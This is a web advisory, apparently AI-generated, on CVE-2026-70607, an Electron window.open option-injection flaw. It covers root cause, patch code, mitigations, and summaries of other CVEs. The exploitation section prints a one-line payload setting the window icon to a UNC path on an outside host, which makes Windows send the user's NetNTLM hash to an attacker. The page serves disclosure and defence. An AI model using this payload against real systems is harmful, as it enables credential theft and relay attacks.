CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-70607

CVE-2026-70607: Privileged Option Injection in Electron window.open Features

Alon Barad
Alon Barad
Software Engineer

Aug 5, 2026·6 min read·101 visits

Executive Summary (TL;DR)

An input validation vulnerability in Electron's window.open features parsing allows untrusted JavaScript to control privileged browser window options. This allows attackers to force UNC path loading, leaking Windows authentication hashes via SMB.

An input validation vulnerability in the Electron desktop framework allows untrusted web content running in a renderer process to inject privileged configuration options when creating child windows via window.open. Under Windows environments, this allows attackers to pass a remote Universal Naming Convention (UNC) path to the window icon configuration parameter, forcing the host system to make an SMB connection to a remote listener and leak the current user's NetNTLM authentication hash.

Vulnerability Overview

Electron utilizes a multi-process architecture to isolate host-level operations from raw client-side presentation. The main process executes with node-level host permissions, whereas the renderer processes run client-side code with constrained privileges. When client-side JavaScript calls the web-native window.open API, Electron routes this request to the main process to construct a new window interface.

Client applications utilize the optional features string within window.open to communicate layout preferences, such as window dimensions or positioning. In affected versions of the Electron framework, the component responsible for parsing these features fails to validate the key-value pairs. This permits client-supplied arguments to directly configure privileged properties within the underlying BrowserWindow constructor.

This flaw is categorized under CWE-20 (Improper Input Validation). The vulnerability allows a compromised renderer or an untrusted external web page to execute unexpected operations on the host system. By passing unvalidated parameters through the IPC bridge, attackers can bypass security boundaries and trigger unexpected filesystem or network access.

Root Cause Analysis

The parsing process for the features parameter is located within lib/browser/parse-features-string.ts in the parseFeatures utility function. This utility processes comma-separated values provided by the client execution context and converts them into an object dictionary. The primary coding mistake resides in casting this raw parsed object directly to the BrowserWindowConstructorOptions type using TypeScript's type assertion operator.

TypeScript type assertions provide no runtime enforcement or verification, meaning the generated JavaScript code passes the dictionary straight to the BrowserWindow constructor without sanitization. Any key supplied inside the features string is preserved and forwarded to the instantiation routine running in the main process.

An attacker can exploit this lack of validation by targeting the icon property, which accepts a local path or URI pointing to an image file. On Windows operating systems, supplying a Universal Naming Convention (UNC) path to this property directs the local SMB client to load the icon from an external server.

When the main process handles the path, the Windows kernel attempts to retrieve the image using the Server Message Block (SMB) protocol. During this connection, Windows transmits a NetNTLM challenge-response handshake to the external server, disclosing the system user's cryptographic NetNTLM authentication hash.

Code Analysis

The patch resolved this vulnerability by changing the configuration process from an implicit trust model to a strict positive allowlist. Below is the code from the parsing utility prior to the remediation:

// VULNERABLE CODE PATH
return {
  options: parsed as Omit<BrowserWindowConstructorOptions, 'webPreferences'>,
  webPreferences
};

In this configuration, the type assertion does not execute runtime filtering, allowing unvalidated parameters to reach the main process. The fix in commit 30cf3882de75ee651bd4e5f27002f13fd3d3163a introduces a strict Set called allowedWindowOptions and sanitizes the parsed dictionary prior to casting:

// PATCHED IMPLEMENTATION (Commit: 30cf3882de75ee651bd4e5f27002f13fd3d3163a)
const allowedWindowOptions = new Set<string>([
  'top', 'left', 'innerWidth', 'innerHeight',
  'x', 'y', 'width', 'height',
  'minWidth', 'minHeight', 'maxWidth', 'maxHeight', 'opacity',
  'show', 'center', 'useContentSize', 'frame', 'transparent', 'hasShadow',
  'movable', 'closable', 'focusable', 'minimizable', 'maximizable',
  'fullscreenable', 'alwaysOnTop', 'skipTaskbar', 'modal', 'acceptFirstMouse',
  'autoHideMenuBar', 'enableLargerThanScreen', 'paintWhenInitiallyHidden',
  'roundedCorners', 'thickFrame', 'disableAutoHideCursor', 'hiddenInMissionControl',
  'title', 'backgroundColor', 'tabbingIdentifier', 'titleBarStyle', 'vibrancy',
  'visualEffectState', 'backgroundMaterial'
]);
 
// Sanitization filter inside parseFeatures
const options: { [key: string]: CoercedValue } = {};
for (const key of Object.keys(parsed)) {
  if (allowedWindowOptions.has(key)) {
    options[key] = parsed[key];
  }
}
 
return {
  options: options as Omit<BrowserWindowConstructorOptions, 'webPreferences'>,
  webPreferences
};

Because the icon parameter is not in the allowedWindowOptions Set, any client request specifying this property is ignored. This resolves the vulnerability by ensuring that only safe presentation properties can be modified via the renderer features string.

Exploitation Methodology

To trigger the vulnerability, an attacker must have the ability to execute client-side JavaScript within the Electron renderer process. This can be achieved through cross-site scripting (XSS), an open redirect, or by the application loading an external, untrusted web page. The target application must also lack explicit window creation handlers that override client configuration options.

The exploit payload is delivered by invoking window.open with a features string containing the injected icon option mapping to an external SMB share. The following payload demonstrates this configuration:

window.open('about:blank', '_blank', 'icon=\\192.168.1.100\harvest\image.png,show=no');

When the main process receives the payload, the Windows OS initiates a connection to the external IP address to resolve the file. The attacker captures the resulting NetNTLM challenge-response transaction using an SMB authentication handler.

Impact Assessment

The primary outcome of exploiting CVE-2026-70607 is the exposure of the Windows system user's NetNTLM credential hash. Attackers can process this captured hash offline using password cracking tools to obtain the plaintext credentials. In environments with weak network policies, the hash can also be relayed to access other corporate systems.

In addition, this vulnerability permits the manipulation of parent-child relationships and window properties. By altering parameters like parent, an attacker can impact application stability, bypass sandboxing constraints, or disrupt user interactions.

Although the CVSS score is 5.3 (Medium), the real-world risk in enterprise settings is elevated. Because SMB traffic is frequently allowed to leave corporate networks or traverse internal subnets, this vector provides a silent method for lateral movement or domain credential harvesting.

Remediation and Mitigation

To resolve this vulnerability, developers must upgrade the Electron framework to a patched version. Safe releases containing the parameter filter are 39.8.8, 40.9.0, 41.2.1, and 42.0.0-beta.3.

If upgrading the framework is not immediately possible, you can mitigate the vulnerability by defining a custom window handler in the main process. This is done by registering the setWindowOpenHandler callback on all webContents instances:

// Implement sanitization via setWindowOpenHandler
mainWindow.webContents.setWindowOpenHandler(({ url }) => {
  return {
    action: 'allow',
    overrideBrowserWindowOptions: {
      // Explicitly define parameters to safe values, overriding renderer requests
      icon: path.join(__dirname, 'assets', 'app-icon.png'),
      show: true
    }
  };
});

Overriding the browser options inside the handler takes precedence over the renderer features string, neutralizing any input passed from window.open. Restricting the application's ability to execute external scripts via a strict Content Security Policy (CSP) also helps prevent the execution of the initial exploit payload.

Official Patches

ElectronElectron Security Advisory GHSA-v93f-fgjr-hjrj

Fix Analysis (4)

Technical Appendix

CVSS Score
5.3/ 10
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Affected Systems

Electron Desktop Applications running on Windows

Affected Versions Detail

Product
Affected Versions
Fixed Version
electron
Electron
< 39.8.839.8.8
electron
Electron
>= 40.0.0-alpha.1, < 40.9.040.9.0
electron
Electron
>= 41.0.0-alpha.1, < 41.2.141.2.1
electron
Electron
>= 42.0.0-alpha.1, < 42.0.0-beta.342.0.0-beta.3
AttributeDetail
CWE IDCWE-20
Attack VectorNetwork
CVSS v3.1 Score5.3
EPSS ScoreNot Available
ImpactInformation Disclosure (NetNTLM Hash Leak)
Exploit StatusProof of Concept
CISA KEV StatusNot Listed

MITRE ATT&CK Mapping

T1190Exploit Public-Facing Application
Initial Access
CWE-20
Improper Input Validation

The product does not validate or incorrectly validates input that can affect the control flow or data flow of a program.

Vulnerability Timeline

Vulnerability Patched in Source Repository
2026-04-12
Security Advisory Published and CVE Assigned
2026-08-05

References & Sources

  • [1]GHSA-v93f-fgjr-hjrj Security Advisory
  • [2]Fix Commit 30cf3882de75ee651bd4e5f27002f13fd3d3163a
  • [3]CVE-2026-70607 Record

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•about 2 hours ago•CVE-2026-12411
8.4

CVE-2026-12411: Cross-Guest Volume Hijack via DevLXD Device PATCH in Canonical LXD

CVE-2026-12411 is a broken access control vulnerability in the DevLXD interface of Canonical LXD versions 6.6 through 6.8. The flaw resides in the devLXDInstancePatchHandler component, which fails to verify storage volume ownership when an instance attaches a new disk device via the /dev/lxd guest socket. When the security.devlxd.management.volumes configuration option is enabled, an untrusted guest or DevLXD identity can issue a crafted HTTP PATCH request referencing another tenant's custom storage volume. The LXD host daemon subsequently mounts the target volume into the requesting guest, permitting unauthorized cross-tenant read and write operations.

Amit Schendel
Amit Schendel
1 views•10 min read
•about 3 hours ago•CVE-2026-105769
9.3

CVE-2026-105769: Azure Entra ID Token Exfiltration in Kaniko via Unanchored ACR Hostname Regex

CVE-2026-105769 (GHSA-5q7h-w9jf-cx97, GO-2026-6225) is an origin validation error and credential exfiltration vulnerability affecting Kaniko prior to version 1.25.20. The flaw stems from an unanchored regular expression in the integrated Azure Container Registry (ACR) credential helper (github.com/chrismellard/docker-credential-acr-env). When Kaniko processes a Dockerfile containing an image reference hosted on a lookalike domain containing an ACR suffix as a substring (e.g., x.azurecr.io.attacker.com), the credential helper acquires a Microsoft Entra ID access token for Azure Resource Manager and transmits it via HTTP POST to the attacker-controlled host.

Amit Schendel
Amit Schendel
5 views•11 min read
•about 4 hours ago•CVE-2026-62300
6.5

CVE-2026-62300: Uncontrolled Resource Consumption in filecoin-pin Daemon

CVE-2026-62300 is an uncontrolled resource consumption vulnerability (CWE-400) affecting the daemon mode of filecoin-pin in versions up to and including 1.1.0. The daemon implements the IPFS Pinning Service API to store content on Filecoin's Proof of Data Possession (PDP) service. Due to the absence of rate limits, concurrency caps, execution timeouts, and Directed Acyclic Graph (DAG) traversal limits, an authenticated user—or an unauthenticated user when authentication is disabled—can exhaust system resources via crafted POST /pins requests.

Amit Schendel
Amit Schendel
5 views•11 min read
•about 5 hours ago•CVE-2026-61536
7.5

CVE-2026-61536: Remote Code Execution via Unsafe Reflection in masci/banks CompletionExtension

CVE-2026-61536 is a high-severity Remote Code Execution (RCE) vulnerability in the masci/banks Python library prior to version 2.4.3. The flaw exists within the CompletionExtension component, which parses JSON-serialized Tool definitions directly from rendered Jinja template bodies inside {% completion %} blocks. When handling tool calls returned by an LLM, the library dynamically resolves the target callable using importlib.import_module() and getattr() based on an unvalidated import_path string. An attacker who can supply or modify prompt templates can inject a malicious Tool JSON object pointing to arbitrary Python functions (such as os.system), bypassing the Jinja SandboxedEnvironment introduced in version 2.4.2 and achieving arbitrary code execution when the LLM invokes the tool.

Alon Barad
Alon Barad
6 views•10 min read
•1 day ago•CVE-2026-93363
4.3

CVE-2026-93363: Improper Access Control in Payload CMS Storage Upload Route

Payload CMS contains a missing authorization vulnerability (CWE-862) in its client-side upload instructions endpoint and the `@payloadcms/storage-vercel-blob` storage adapter. Two distinct logic defects allow authenticated users lacking collection-level `create` or `update` permissions to generate signed upload tokens and upload arbitrary files directly to external cloud storage.

Alon Barad
Alon Barad
7 views•9 min read
•1 day ago•CVE-2026-55098
6.5

CVE-2026-55098: Cross-Database Authorization Bypass via DuckDB Table-Valued I/O Functions in Basekick-Labs Arc

CVE-2026-55098 (GHSA-93cm-2v4m-c56c) is an authorization bypass and sensitive information disclosure vulnerability in Basekick-Labs Arc prior to version 26.06.2. The flaw stems from an incomplete remediation of CVE-2026-47735, which failed to restrict the full suite of DuckDB table-valued filesystem I/O functions and quoted-identifier invocations. Because Arc's query parser ignores function calls during table reference extraction, authenticated users with minimal or empty permissions can invoke functions like parquet_scan(), glob(), and read_blob() to read, enumerate, and extract telemetry data across all tenant databases residing within the shared local storage root.

Alon Barad
Alon Barad
7 views•10 min read